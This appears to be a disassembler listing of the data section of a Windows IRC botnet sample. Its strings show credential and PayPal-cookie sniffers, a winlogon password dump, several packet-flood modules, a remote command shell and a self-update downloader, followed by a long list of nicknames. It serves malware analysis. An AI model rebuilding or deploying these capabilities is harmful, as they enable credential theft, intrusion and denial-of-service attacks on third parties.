aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437734	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377A4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437870	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
unk_43789C	db  2Dh	; -		; DATA XREF: sub_4135DF+5Eo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378C4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h
unk_4378E0	db  2Dh	; -		; DATA XREF: sub_413A29+397o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
unk_43792C	db  2Dh	; -		; DATA XREF: sub_413A29+307o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
unk_437974	db  2Dh	; -		; DATA XREF: sub_413A29+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
unk_437994	db  2Dh	; -		; DATA XREF: sub_413A29+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
unk_4379C4	db  2Dh	; -		; DATA XREF: sub_413A29+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 10h
unk_4379F0	db  2Dh	; -		; DATA XREF: sub_413E10+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
unk_437A1C	db  2Dh	; -		; DATA XREF: sub_413E10+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
unk_437A44	db  2Dh	; -		; DATA XREF: sub_413F9C+1C6o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 10h
unk_437A70	db  2Dh	; -		; DATA XREF: sub_413F9C+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
dword_437A98	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_4141B2+4Bo
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
unk_437AC4	db  2Dh	; -		; DATA XREF: sub_414358+4Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
unk_437AEC	db  2Dh	; -		; DATA XREF: sub_4143F7+27Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
dword_437B0C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_414703+4Fo
aDoneWithFlood_	db '- Done with flood.',0
		align 4
unk_437B2C	db  2Dh	; -		; DATA XREF: sub_4149C1+4EBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_437B7C	db  2Dh	; -		; DATA XREF: sub_4149C1+44Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_437BCC	db  2Dh	; -		; DATA XREF: sub_4149C1+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
unk_437BEC	db  2Dh	; -		; DATA XREF: sub_4149C1+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_437C24	db  2Dh	; -		; DATA XREF: sub_4149C1+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
unk_437C58	db  2Dh	; -		; DATA XREF: sub_414F57+66o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 4
unk_437C8C	db  2Dh	; -		; DATA XREF: sub_41525A+4Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
unk_437CCC	db  2Dh	; -		; DATA XREF: sub_4152D1+345o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_437D58	db  2Dh	; -		; DATA XREF: sub_4152D1+2F3o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
unk_437DBC	db  2Dh	; -		; DATA XREF: sub_4152D1+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
unk_437DE8	db  2Dh	; -		; DATA XREF: sub_4152D1+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_437E2C	db  2Dh	; -		; DATA XREF: sub_4152D1+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
unk_437E7C	db  2Dh	; -		; DATA XREF: sub_4152D1+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
unk_437EA8	db  2Dh	; -		; DATA XREF: sub_41561D+60o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0            ; DATA XREF: sub_4157BA+204o
		align 4
dword_437EDC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF0	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F28	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F50	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_415E4B+DCo
		dd 6574656Ch, 0
dword_437F6C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_415E4B+3Fo
		dd 676E6974h, 0
unk_437F88	db  2Dh	; -		; DATA XREF: sub_416000+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
unk_437FBC	db  2Dh	; -		; DATA XREF: sub_416000+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FEC	db  2Dh	; -		; DATA XREF: sub_416000+47o
					; sub_4161C1+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438010	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_4161C1+362o
					; sub_416563+156o
		dd 726F72h
unk_438028	db  2Dh	; -		; DATA XREF: sub_4161C1+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438054	db  2Dh	; -		; DATA XREF: sub_4161C1+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438078	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_4161C1+1CBo
		dd 74756Fh
dword_438090	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_4161C1+16Ao
		dd 169h
unk_4380A8	db  2Dh	; -		; DATA XREF: sub_4161C1+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380C8	db  2Dh	; -		; DATA XREF: sub_4161C1+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380EC	db  2Dh	; -		; DATA XREF: sub_4161C1+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438110	db  2Dh	; -		; DATA XREF: sub_416563+1D1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43813C	db  2Dh	; -		; DATA XREF: sub_416563+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43815C	db  2Dh	; -		; DATA XREF: sub_416563+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_416563+97o
unk_43818C	db  2Dh	; -		; DATA XREF: sub_416563+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381BC	db  2Dh	; -		; DATA XREF: sub_4167A0+493o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381E8	db  2Dh	; -		; DATA XREF: sub_4167A0+485o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43821C	db  2Dh	; -		; DATA XREF: sub_4167A0+3C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438260	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_4167A0+358o
		dd 25206465h, 73h
unk_43827C	db  2Dh	; -		; DATA XREF: sub_4167A0+2E1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382B4	db  2Dh	; -		; DATA XREF: sub_4167A0+262o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382DC	db  2Dh	; -		; DATA XREF: sub_4167A0+1D8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438308	db  2Dh	; -		; DATA XREF: sub_4167A0+195o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438330	db  2Dh	; -		; DATA XREF: sub_4167A0+183o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: sub_4167A0+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383A8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383C0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4383FC	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416FCF:loc_417014o
dword_43843C	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_417054+C8o
		dd 64252064h, 6C696620h, 7365h
unk_43845C	db  2Dh	; -		; DATA XREF: sub_417054+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
dword_438484	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_41716F+107o
		dd 73252064h, 73255Ch
dword_4384A0	dd 2A5C7325h, 0		; DATA XREF: sub_41716F+1Ao
unk_4384A8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384DC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438508	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438540	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_4172C1+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_4172C1+CEo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386C4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438768	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		sbb	[ebx-4E77FFBDh], dl
		inc	edx
		add	[eax+1C0042C6h], ah
		mov	byte ptr [edx+0], 14h
		xchg	eax, ebx
		inc	ebx
		add	al, dl
		scasd
		inc	edx
		add	[eax-3Ah], dh
		inc	edx
		add	[edi+ebp*4-4DE7FFBEh], ch
		inc	edx
		add	[eax-3Ah], bh
		inc	edx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], cl
		inc	ebx
		add	[eax], cl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], al
		inc	ebx
		add	[edi+esi*4+42h], bh
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439300
; ---------------------------------------------------------------------------
		cld
		xchg	eax, edx
		inc	ebx
		add	al, bh
		xchg	eax, edx
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392F4
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset word_4392DC
		dd offset dword_4392D8
		dd offset aI_0		; "I"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset aA_0		; "A"
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset dword_4392A0
		dd offset dword_43929C
		dd offset word_439298
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439030
		dd offset off_43902C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
